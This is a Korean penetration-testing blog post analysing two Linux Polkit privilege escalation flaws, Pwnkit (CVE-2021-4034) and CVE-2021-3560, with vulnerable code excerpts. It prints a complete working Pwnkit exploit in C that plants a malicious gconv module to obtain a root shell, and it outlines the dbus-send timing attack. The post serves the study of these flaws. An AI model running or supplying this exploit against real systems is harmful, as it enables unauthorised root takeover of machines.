모의해킹을 수행하는 해커들을 위한 LPE 이야기
라온화이트햇 핵심연구팀 김성민
소개
모의해킹을 수행하며 사용하는 로컬 권한 상승 취약점에 대해 한번 이야기해보려고 합니다.
업무를 수행하다 보면 서비스 중인 서버 쉘에 제한된 권한을 획득합니다. 그럴 때마다 권한 상승을 위해 POC 코드를 가져다 사용하고 권한이 올라가면 미련 없이 그 다음 과정을 이어나갑니다. 저 또한 당면한 문제를 해결하는데 급급하여 사용하고 있는 기술들에 대한 분석을 미루다가 이제서야 블로그에 내용을 기술하게 되었습니다.
본 글에서는 모의해킹 업무를 수행하며 사용했던 권한 상승 취약점(LocalPrivilageEscalation) 공격 기법에 대해 다루고자 합니다. 범용적으로 사용되는 Polkit으로 부터 발생하는 취약점인 Pwnkit과 Polkit 취약점에 대한 분석을 기술합니다. 많은 분들이 해당 취약점을 인지하고 활용하고 계신다고 생각되기에 사용 방법과 함께 각각의 취약점이 어떻게 트리거 되고 동작하는 지를 다루는데 중점을 두고 진행하였습니다.
Pwnkit: CVE-2021-4034
CVE-2021-4034(이하 Pwnkit)는 Linux 운영체제에 기본적으로 설치되는 “Polkit” 패키지의 “pkexec”에서 발생하는 LPE(Local Privilage Escalation) 취약점입니다. 해당 취약점은 로컬 환경에서 권한이 없는 사용자가 root 권한을 탈취하는데 목표를 두고 있습니다.
Polkit이란 무엇일까?
취약점을 살펴보기전에 Polkit(Policy toolkit)에 대해서 알아보도록 하겠습니다. Linux는 사용자가 보다 높은 수준의 작업을 수행할 때 권한이 있는지 확인하기 위해 Polkit을 사용합니다. polkit은 권한 인증을 관리하기 위해 만들어진 프로그램인 것입니다. Polkit이 작동할때 그리고 권한 인증을 위해 “Pwnkit”이라 불리는 취약점을 가지고 있는 pkexec 유틸리티가 동작하며 여기서 문제가 발생합니다.
Pwnkit 취약점 상세
앞서 언급했듯, 취약점 “Pwnkit”은 pkexec 유틸리티에 존재하며 OOB(Out-Of-Bounds)로 인해 발생합니다.
아래는 pkexec에서 취약점이 발생하는 부분입니다.
main (int argc, char *argv[]) {
for (n = 1; n < (guint) argc; n++) {
...
}
path = g_strdup (argv[n]);
if (path[0] != '/') {
s = g_find_program_in_path (path);
argv[n] = path = s;
}
...
}
pkexec는 for문을 사용하여 index 1번(i.e argv[1]) 부터 입력된 모든 인자에 대한 구문 분석을 시도합니다. (if pkexec bash, argv[0] == pkexec, argv[1] == bash) 이때 pkexec에 값을 주지 않는다면 로직상 인덱스 값 n은 1로 고정이 되며 루프를 우회할 수 있게 됩니다.
- 값을 입력하지 않을시 n값을 1로 고정
- path = argv[1]에 대한 OOB read
- 코드내 변수 s는 argv[1]에 대한 OOB write
그렇다면 argv[1]은 무엇을 가리키는 것일까요? 이를 알기 위해서는 pkexec가 동작할때 syscall하는 execve()를 살펴보아야 합니다. 새 프로세스를 시작할때 커널은 모든 명령 인수를 포함하는 배열(argv), 환경 변수를 포함하는 배열(envp), 인수 수를 나타내는 정수 값(argc)을 생성합니다.
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
메모리를 보면 매개 변수 배열과 환경 변수 배열은 연속적으로 배치됩니다. 이때, argc가 null이면 argv[1]은 OOB가 발생해 연속적으로 위치한 메모리인 envp[0]을 가리키게 됩니다.
- argv[1] = envp[0] = “value”
- g_find_program_in_path(“value”), PATH 환경변수의 디렉터리에서 “value”라는 실행 파일 검색
- argv[1] = envp[0] = path, 실행파일이 검색될 경우 파일을 경로 반환
즉, argv[1]이 메모리상 환경변수의 첫번째 값을 가리키며 해당 값을 덮어쓰는 문제가 발생하는 것입니다.
개념증명
다음 코드는 Pwnkit LPE 취약점을 익스할때 사용하는 poc 코드입니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\\n"
"#include <stdlib.h>\\n"
"#include <unistd.h>\\n\\n"
"void gconv() {}\\n"
"void gconv_init() {\\n"
" setuid(0); setgid(0);\\n"
" seteuid(0); setegid(0);\\n"
" system(\\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\\");\\n"
" exit(0);\\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL};
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
- “GCONV_PATH=.”라는 디렉터리를 생성하고 실행가능한 파일 pwnkit을 생성합니다.
- 쉘코드를 “pwnkit/pwnkit.c”에 작성하여 “pwnkit/pwnkit.so”로 컴파일 합니다.
- pkexec가 pwnkit.so라는 파일을 로드하도록 환경 변수 값을 설정합니다.
- pkexec를 실행하면 공유객체 파일을 루트로 실행하게 되어 루트 권한 쉘을 탈취합니다.
환경을 구축하여 테스트해 보면 다음 그림과 같이 성공적으로 LPE가 수행됨을 확인할 수 있습니다.
Polkit: CVE-2021-3560
CVE-2021-3560는 linux 운영체제 CVE-2021-4034는 Linux 운영체제에 기본적으로 설치되는 “Polkit” 패키지의 “pkexec”에서 발생하는 LPE(Local Privilage Escalation) 취약점입니다. 해당 취약점은 polkit-1의 “0.105-26ubuntu1” 이하 버전에서 유효하며 로컬 환경에서 일반 사용자가 root 권한인 계정을 생성하고 탈취하는 작업을 수행합니다.
공격 시도전 다음 구문을 통해 polkit-1 버전을 확인하실 수 있습니다.
apt list --installed | grep policykit-1
또한 accountservice, gnome-control-center가 설치되어 있는지 확인해야 합니다. 아래 구문을 통해 확인 가능합니다.
rhel/centos/fedora : rpm -qa
debian/ubuntu : dpkg -l
이번 취약점을 이해하기 위해서는 Polkit과 dbus에 대한 이해가 필요합니다.
Polkit이란 무엇인가?
앞서 설명했지만 .Polkit은 Linux 사용자가 보다 높은 수준의 작업을 수행할때 권한이 있는지 확인하기 위해 사용됩니다 polkit은 권한 인증을 관리하기 위해 만들어진 프로그램이며, 권한 인증을 위해 동작할때 pkexec 유틸리티가 동작합니다.
dbus-demon과 polkit의 연관성도 알아두면 이해에 도움이 됩니다.
D-Bus (Desktop Bus) 시스템은 리눅스 및 유닉스 기반 시스템에서 프로세스 간 통신(IPC)을 제공하는 메시지 버스 시스템입니다. D-Bus 시스템에서 dbus-demon은 중앙에서 모든 통신을 처리하고 다른 네 프로세스가 D-Bus 메시지를 통해 서로 통신하며 서로의 자격 증명을 확인하도록 합니다.
Polkit 취약점 상세
해당 취약점은 polkit이 인증 요청을 처리할때 dbus-daemon으로부터 전달되는 인증 요청을 특정 타이밍에 취소하여 polkit이 이를 인지하지 못하고 작업을 수행하여 발생하는 취약점입니다. 취약점 발생 흐름을 먼저 살펴보도록 하겠습니다.
- dbus-send는 accounts-daemon에게 새 사용자를 생성하도록 요청합니다.
- accounts-daemon은 dbus-send로부터 D-Bus 메시지를 받습니다. 이 메시지에는 발신자의 고유 버스 이름이 포함되어 있습니다. 이 이름은 dbus-daemon에 의해 메시지에 첨부되며 위조가 불가능합니다.
- accounts-daemon은 새 사용자를 생성할 수 있는지 polkit에게 문의합니다.
- polkit은 dbus-daemon에게 요청한 D-Bus 연결의 UID를 묻습니다. 만약 요청한 D-Bus 연결의 UID가 “0”이라면, polkit은 즉시 요청을 승인합니다. 그렇지 않으면, 요청을 승인할 수 있는 관리자 사용자 목록을 인증 에이전트에게 보냅니다.
- 인증 에이전트는 사용자로부터 비밀번호를 얻기 위한 대화 상자를 엽니다.
- 인증 에이전트는 비밀번호를 polkit에게 전송합니다.
- polkit은 accounts-daemon에게 “예”라는 답변을 보냅니다.
- accounts-daemon은 새 사용자 계정을 생성합니다.
이 취약점은 polkit이 D-Bus 메시지 버스에서 특정 연결의 UID를 요청하는 과정에서 시작됩니다. 구체적으로, polkit이 D-Bus daemon에게 연결의 UID를 요청할 때 해당 연결이 더 이상 존재하지 않으면 문제가 발생합니다.
polkit_system_bus_name_get_creds_sync 함수는 오류 발생 시에도 TRUE를 반환하는데, 이는 일반적으로 성공을 나타냅니다. 그러나 이 경우에는 오류가 발생했음에도 불구하고 TRUE를 반환하는 문제가 있습니다.
polkit에서는 이 오류를 제대로 처리하지 못합니다. 오류가 발생했을 때, 해당 요청을 UID 0 (루트 프로세스)에서 온 것으로 잘못 처리하여 자동으로 승인하게 됩니다.
문제가 되는 코드는 다음과 같습니다.
check_authorization_sync (arg1, arg2, ...) {
...
/* every subject has a user; this is supplied by the client, so we rely
* on the caller to validate its acceptability. */
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
if (user_of_subject == NULL)
goto out;
/* special case: uid 0, root, is _always_ authorized for anything */
if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0)
{
result = polkit_authorization_result_new (TRUE, FALSE, NULL);
goto out;
}
여기서 주요 문제는 error 값이 확인되지 않는다는 것입니다. polkit_backend_session_monitor_get_user_for_subject 함수는 오류 발생 시 NULL을 반환하고, error 변수에 오류 정보를 저장해야 합니다. 그러나 코드는 user_of_subject가 NULL인 경우에만 처리를 중단하고, 오류 상황에서 NULL이 아닌 PolkitUnixUser 객체를 반환할 수 있습니다.
반환된 user_of_subject 객체가 NULL이 아니고, POLKIT_IS_UNIX_USER 조건을 만족하며, polkit_unix_user_get_uid가 0 (루트 사용자)을 반환하는 경우가 발생합니다.
이로 인해 check_authorization_sync 함수 내에서 user_of_subject가 루트 사용자(UID 0)로 잘못 간주되고, 결과적으로 인증 우회가 발생합니다.
개념 증명
dbus-send를 사용하여 sudo 권한(또는 나중에 새 사용자에게 설정할 비밀번호)이 있는 새 계정 생성을 요청하는 dbus 메시지를 account-daemon에 수동으로 보냅니다.
“test1” 사용자 계정을 생성하고,프로세스가 실행되는 중간인 0.006초 즈음에 프로세스를 종료합니다.
“test1” 사용자의 사용자 ID와 그룹 ID를 표시한후 사용할 패스워드 해시를 생성합니다.
“test1” 사용자의 비밀번호와 uid를 맞춰주고, 0.006초 후에 프로세스를 종료합니다.
현재 사용자의 sudo 권한과 관련된 정보를 표시한후 현재 사용자를 루트 사용자로 전환합니다.
Polkit 취약점이 터지는 이유와 사용 방법에 대해서 알아보았습니다. dbus 메시지를 dbus-daemon(서로 다른 프로세스가통신할 수 있도록하는 API)에 수동으로 보낸 다음 요청이 완전히 처리되기 전에 요청을 종료하면 polkit의 취약한 인증체계를 통해 권한을 부여할 수 있었습니다.
마치며
이렇게 리얼 월드에서 사용하는 Policy toolkit에 관련된 LPE 취약점 두 가지를 분석해 보았습니다. 기존에 사용하던 Dirty cow 취약점의 경우 race condition 기반이라 안정성 문제 때문에 진단에서 활용하기에는 제약이 많았습니다. 그에 반해 이번 취약점들은 상대적으로 안전하다고 생각되어 소개해보았습니다.
사전에 계획했던 CVE-2023-35001 LPE 취약점에 대한 내용도 함께 다루고 싶었으나 시간에 쫓겨 다루지 못하여 아쉽지만 다음에 기회가 된다면 한번 다루어 보도록 하겠습니다. 끝으로 부족한 글이지만 모의해킹 업무를 수행하시는 분을 비롯한 관심이 있으신 분들 모두에게 도움이 되었기를 바랍니다. 감사합니다.
Reference) https://github.com/ly4k/PwnKit https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt https://access.redhat.com/ko/security/vulnerabilities/6676491 https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/